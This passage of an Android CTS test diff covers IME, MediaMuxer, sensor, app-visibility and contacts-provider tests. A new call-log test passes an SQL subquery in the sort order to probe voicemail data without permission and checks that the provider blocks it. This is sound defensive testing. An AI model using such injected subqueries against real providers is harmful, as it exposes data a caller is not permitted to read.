+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+    }
+
+    private void runImeDoesntReshowAfterKeyguardTest(int softInputState) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Launch a simple test activity
+            final TestActivity testActivity =
+                    TestActivity.startSync(activity -> new LinearLayout(activity));
+
+            // Launch a dialog and show keyboard
+            final String marker = getTestMarker();
+            final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            final AtomicReference<AlertDialog> dialogRef = new AtomicReference<>();
+            TestUtils.runOnMainSync(() -> {
+                final EditText editText = new EditText(testActivity);
+                editText.setHint("focused editText");
+                editText.setPrivateImeOptions(marker);
+                editText.requestFocus();
+                final AlertDialog dialog = new AlertDialog.Builder(testActivity)
+                        .setView(editText)
+                        .create();
+                dialog.getWindow().setSoftInputMode(softInputState);
+                dialog.show();
+                editText.getWindowInsetsController().show(ime());
+                editTextRef.set(editText);
+                dialogRef.set(dialog);
+            });
+
+            TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
+                    && editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Clear editor focus after screen-off
+            TestUtils.turnScreenOff();
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
+                    TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            // Expect showSoftInput comes when system notify InsetsController to apply show IME
+            // insets after IME input target updated.
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
+
+            // Verify IME will invisible after device unlocked
+            TestUtils.turnScreenOn();
+            TestUtils.unlockScreen();
+            // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+            // focused since the editText view focus has been cleared.
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
+                    && !editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+        }
+    }
+
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index 0ca67f2..4bad587 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1045,6 +1045,15 @@
             }
         }
 
+        @Test
+        public void testSimpleMuxNative() {
+            Assume.assumeTrue("TODO(b/146421018)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            Assume.assumeTrue("TODO(b/146923287)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        }
+
         /* Does MediaMuxer throw IllegalStateException on missing codec specific data when required.
          * Check if relevant exception is thrown for AAC, AVC, HEVC, and MPEG4
          * codecs that require CSD in MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4.
@@ -1077,14 +1086,161 @@
                 }
             }
         }
+    }
+
+    @LargeTest
+    @RunWith(Parameterized.class)
+    public static class TestAddEmptyTracks {
+        private final List<String> mimeListforTypeMp4 =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        MediaFormat.MIMETYPE_AUDIO_AAC, MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC,
+                        MediaFormat.MIMETYPE_TEXT_SUBRIP);
+        private final List<String> mimeListforTypeWebm =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+                        MediaFormat.MIMETYPE_AUDIO_VORBIS, MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private final List<String> mimeListforType3gp =
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+                        MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_AUDIO_AAC,
+                        MediaFormat.MIMETYPE_AUDIO_AMR_NB, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+        private final List<String> mimeListforTypeOgg =
+                Arrays.asList(MediaFormat.MIMETYPE_AUDIO_OPUS);
+        private String mMime;
+        private String mOutPath;
+
+        public TestAddEmptyTracks(String mime) {
+            mMime = mime;
+        }
+
+        @Before
+        public void prologue() throws IOException {
+            mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+        }
+
+        @After
+        public void epilogue() {
+            new File(mOutPath).delete();
+        }
+
+        private boolean isMimeContainerPairValid(int format) {
+            boolean result = false;
+            if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4)
+                result = mimeListforTypeMp4.contains(mMime);
+            else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM) {
+                return mimeListforTypeWebm.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+                result = mimeListforType3gp.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG) {
+                result = mimeListforTypeOgg.contains(mMime);
+            }
+            return result;
+        }
+
+        @Parameterized.Parameters(name = "{index}({0})")
+        public static Collection<Object[]> input() {
+            return Arrays.asList(new Object[][]{
+                    // Video
+                    {MediaFormat.MIMETYPE_VIDEO_H263},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC},
+                    {MediaFormat.MIMETYPE_VIDEO_MPEG4},
+                    {MediaFormat.MIMETYPE_VIDEO_VP8},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9},
+                    // Audio
+                    {MediaFormat.MIMETYPE_AUDIO_AAC},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_NB},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_WB},
+                    {MediaFormat.MIMETYPE_AUDIO_OPUS},
+                    {MediaFormat.MIMETYPE_AUDIO_VORBIS},
+                    // Metadata
+                    {MediaFormat.MIMETYPE_TEXT_SUBRIP},
+                    // Image
+                    {MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC}
+            });
+        }
 
         @Test
-        public void testSimpleMuxNative() {
-            Assume.assumeTrue("TODO(b/146421018)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
-            Assume.assumeTrue("TODO(b/146923287)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
-            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        public void testEmptyVideoTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("video/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyVideoTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyAudioTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("audio/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
+                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyAudioTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyMetaDataTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("application/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyMetaDataTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyImageTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("image/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyImageTrack : unexpected exception : " + e.getMessage());
+                }
+            }
         }
     }
 }
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index df86fa6..6915db3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -55,13 +55,12 @@
         List<Sensor> list = mSensorManager.getSensorList(Sensor.TYPE_ALL);
         List<String> errors = new ArrayList<String>();
         for (Sensor s : list) {
-            // skip vendor sensor types, one-shot and on-change sensors.
-            if (s.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ONE_SHOT ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ON_CHANGE) {
+            // Only test sensor additional info for Accelerometer, Gyroscope and Magnetometer.
+            if (s.getType() != Sensor.TYPE_ACCELEROMETER &&
+                    s.getType() != Sensor.TYPE_GYROSCOPE &&
+                    s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
                 continue;
             }
-
             if (!s.isAdditionalInfoSupported()) {
                 // check SensorAdditionalInfo is supported for Automotive sensors.
                 if (getContext().getPackageManager().hasSystemFeature(
@@ -266,7 +265,7 @@
 
         // Checks sensor placement data length and determinant of rotation matrix is 1.
         private void verifySensorPlacementData(float[] m) {
-            if(m.length != 12) {
+            if(m.length < 12) {
                 mIsSensorPlacementSizeValid = false;
                 return;
             }
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 6503bdb..26f6b90 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -26,7 +26,7 @@
         <option name="force-queryable" value="false" />
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppEnumerationTestCases.apk" />
-        <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationForceQueryableNormalInstall.apk" />
         <option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
         <option name="test-file-name" value="CtsAppEnumerationNoApi.apk" />
         <option name="test-file-name" value="CtsAppEnumerationContactsActivityTarget.apk" />
@@ -61,6 +61,12 @@
         <option name="test-file-name" value="CtsAppEnumerationWildcardBrowserActivitySource.apk" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="force-queryable" value="true" />
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+    </target_preparer>
+
     <!-- Create place to store apks -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/appenumeration" />
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index 04ebc78..b3afe4b 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -27,6 +27,20 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationForceQueryableNormalInstall",
+    manifest: "AndroidManifest-forceQueryable-normalInstall.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationFilters",
     manifest: "AndroidManifest-filters.xml",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml
new file mode 100644
index 0000000..2918e37
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.forcequeryable.normalinstall">
+    <application android:forceQueryable="true">
+        <!-- This app will not be a system app and should be installed as a normal app (not
+             forceQueryable) to ensure it's not visible by default -->
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
index e6535b3..041d350 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -18,6 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.appenumeration.forcequeryable">
     <application android:forceQueryable="true">
+        <!-- This app will not be a system app and so must be installed as forceQueryable by the
+             test framework -->
         <uses-library android:name="android.test.runner" />
     </application>
 </manifest>
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index 6fcba54..d7c8dae 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -78,8 +78,13 @@
     public static final String TARGET_SHARED_USER = PKG_BASE + "noapi.shareduid";
     /** A package that exposes itself via various intent filters (activities, services, etc.) */
     public static final String TARGET_FILTERS = PKG_BASE + "filters";
-    /** A package that declares itself force queryable, making it visible to all other packages */
+    /** A package that declares itself force queryable, making it visible to all other packages.
+     *  This is installed as forceQueryable as non-system apps cannot declare themselves as such. */
     public static final String TARGET_FORCEQUERYABLE = PKG_BASE + "forcequeryable";
+    /** A package that declares itself force queryable, but is installed normally making it not
+     *  visible to other packages */
+    public static final String TARGET_FORCEQUERYABLE_NORMAL =
+            PKG_BASE + "forcequeryable.normalinstall";
     /** A package with no published API and so isn't queryable by anything but package name */
     public static final String TARGET_NO_API = PKG_BASE + "noapi";
     /** A package that offers an activity used for opening / editing file types */
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index d95970b..cfd12a2 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -66,6 +66,7 @@
 import static android.appenumeration.cts.Constants.TARGET_FILTERS;
 import static android.appenumeration.cts.Constants.TARGET_FILTERS_APK;
 import static android.appenumeration.cts.Constants.TARGET_FORCEQUERYABLE;
+import static android.appenumeration.cts.Constants.TARGET_FORCEQUERYABLE_NORMAL;
 import static android.appenumeration.cts.Constants.TARGET_NO_API;
 import static android.appenumeration.cts.Constants.TARGET_SHARE;
 import static android.appenumeration.cts.Constants.TARGET_SHARED_USER;
@@ -177,6 +178,15 @@
     }
 
     @Test
+    public void all_cannotSeeForceQueryableInstalledNormally() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE_NORMAL);
+    }
+
+    @Test
     public void startExplicitly_canStartNonVisible() throws Exception {
         assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
         startExplicitIntentViaComponent(QUERIES_NOTHING, TARGET_FILTERS);
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index ac20675..67f5687 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -23,8 +23,13 @@
         "truth-prebuilt",
     ],
 
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+
+        // Include the GAL provider source code to pull in the constants.
+        "gal/src/**/*.java",
+    ],
 
     sdk_version: "test_current",
-    min_sdk_version: "21",
+    min_sdk_version: "30",
 }
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
index f81bb5e..23f01fe 100644
--- a/tests/tests/contactsprovider/AndroidManifest.xml
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.provider.cts.contacts">
 
-    <uses-sdk android:targetSdkVersion="29" />
+    <uses-sdk android:targetSdkVersion="30" />
 
     <uses-permission android:name="android.permission.READ_CONTACTS" />
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
@@ -38,14 +38,6 @@
             <meta-data android:name="android.accounts.AccountAuthenticator"
                        android:resource="@xml/contactprovider_authenticator"/>
         </service>
-
-        <provider
-            android:name=".DummyGalProvider"
-            android:authorities="android.provider.cts.contacts.dgp"
-            android:exported="true"
-            android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
-            <meta-data android:name="android.content.ContactDirectory" android:value="true" />
-        </provider>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/contactsprovider/AndroidTest.xml b/tests/tests/contactsprovider/AndroidTest.xml
index 0d6562f..35c6b21 100644
--- a/tests/tests/contactsprovider/AndroidTest.xml
+++ b/tests/tests/contactsprovider/AndroidTest.xml
@@ -25,6 +25,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsContactsProviderTestCases.apk" />
+        <option name="test-file-name" value="CtsContactsProviderGalProvider.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
new file mode 100644
index 0000000..4804a85
--- /dev/null
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -0,0 +1,14 @@
+android_test_helper_app {
+    name: "CtsContactsProviderGalProvider",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/contactsprovider/gal/AndroidManifest.xml b/tests/tests/contactsprovider/gal/AndroidManifest.xml
new file mode 100644
index 0000000..e738ae3
--- /dev/null
+++ b/tests/tests/contactsprovider/gal/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.provider.cts.contacts.galprovider">
+
+    <uses-sdk android:targetSdkVersion="30" />
+
+    <application>
+        <provider
+            android:name=".CtsGalProvider"
+            android:authorities="android.provider.cts.contacts.gal"
+            android:exported="true"
+            android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
+            <meta-data android:name="android.content.ContactDirectory" android:value="true" />
+        </provider>
+    </application>
+</manifest>
+
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java b/tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
similarity index 84%
rename from tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
rename to tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
index 7609143..6806204 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
+++ b/tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
@@ -14,7 +14,7 @@
  * limitations under the License
  */
 
-package android.provider.cts.contacts;
+package android.provider.cts.contacts.galprovider;
 
 import android.content.ContentProvider;
 import android.content.ContentValues;
@@ -26,7 +26,6 @@
 import android.provider.ContactsContract.Contacts;
 import android.provider.ContactsContract.Directory;
 import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -36,15 +35,17 @@
 /**
  * GAL provider for CTS.
  */
-public class DummyGalProvider extends ContentProvider {
-    private static final String TAG = "DummyGalProvider";
+public class CtsGalProvider extends ContentProvider {
+    private static final String TAG = "GalProvider";
 
-    public static final String AUTHORITY = "android.provider.cts.contacts.dgp";
+    // The main CTS refers to it.
+    public static final String GAL_PACKAGE_NAME = "android.provider.cts.contacts.galprovider";
+    public static final String AUTHORITY = "android.provider.cts.contacts.gal";
 
-    public static final String ACCOUNT_NAME = "dummygal";
-    public static final String ACCOUNT_TYPE = StaticAccountAuthenticator.TYPE;
+    public static final String ACCOUNT_NAME = "ctsgal";
+    public static final String ACCOUNT_TYPE = "com.android.cts.contactsprovider";
 
-    public static final String DISPLAY_NAME = "dummy-gal";
+    public static final String DISPLAY_NAME = "cts-gal";
 
     public static final String ERROR_MESSAGE_KEY = "error";
     public static final String QUERY_KEY = "query";
@@ -54,23 +55,14 @@
 
     private static final int GAL_DIRECTORIES = 0;
     private static final int GAL_FILTER = 1;
-    private static final int GAL_CONTACT = 2;
-    private static final int GAL_CONTACT_WITH_ID = 3;
-    private static final int GAL_EMAIL_FILTER = 4;
-    private static final int GAL_PHONE_FILTER = 5;
-    private static final int GAL_PHONE_LOOKUP = 6;
+    private static final int SUB_PATH = 1;
 
     private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);
 
     static {
         sURIMatcher.addURI(AUTHORITY, "directories", GAL_DIRECTORIES);
         sURIMatcher.addURI(AUTHORITY, "contacts/filter/*", GAL_FILTER);
-        // The following URIs are not supported by this class.
-//        sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/entities", GAL_CONTACT);
-//        sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/#/entities", GAL_CONTACT_WITH_ID);
-//        sURIMatcher.addURI(AUTHORITY, "data/emails/filter/*", GAL_EMAIL_FILTER);
-//        sURIMatcher.addURI(AUTHORITY, "data/phones/filter/*", GAL_PHONE_FILTER);
-//        sURIMatcher.addURI(AUTHORITY, "phone_lookup/*", GAL_PHONE_LOOKUP);
+        sURIMatcher.addURI(AUTHORITY, "sub/*", SUB_PATH);
     }
 
     @Override
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..f91015a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private static final String TEST_NUMBER = "5551234";
+    private static final int TIME_OUT_MILLIS = 5000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    public void testNoSubqueries() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        // Attempt to do a query that contains a subquery -- this should fail since this test does
+        // not have READ_VOICEMAIL.
+        try {
+            Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+                    new String[]{TEST_NUMBER},
+                    "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+            assertEquals(0, c.getCount());
+        } catch (IllegalArgumentException e) {
+            // expected/tolerated
+        }
+    }
+
+    public void testUpdate() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
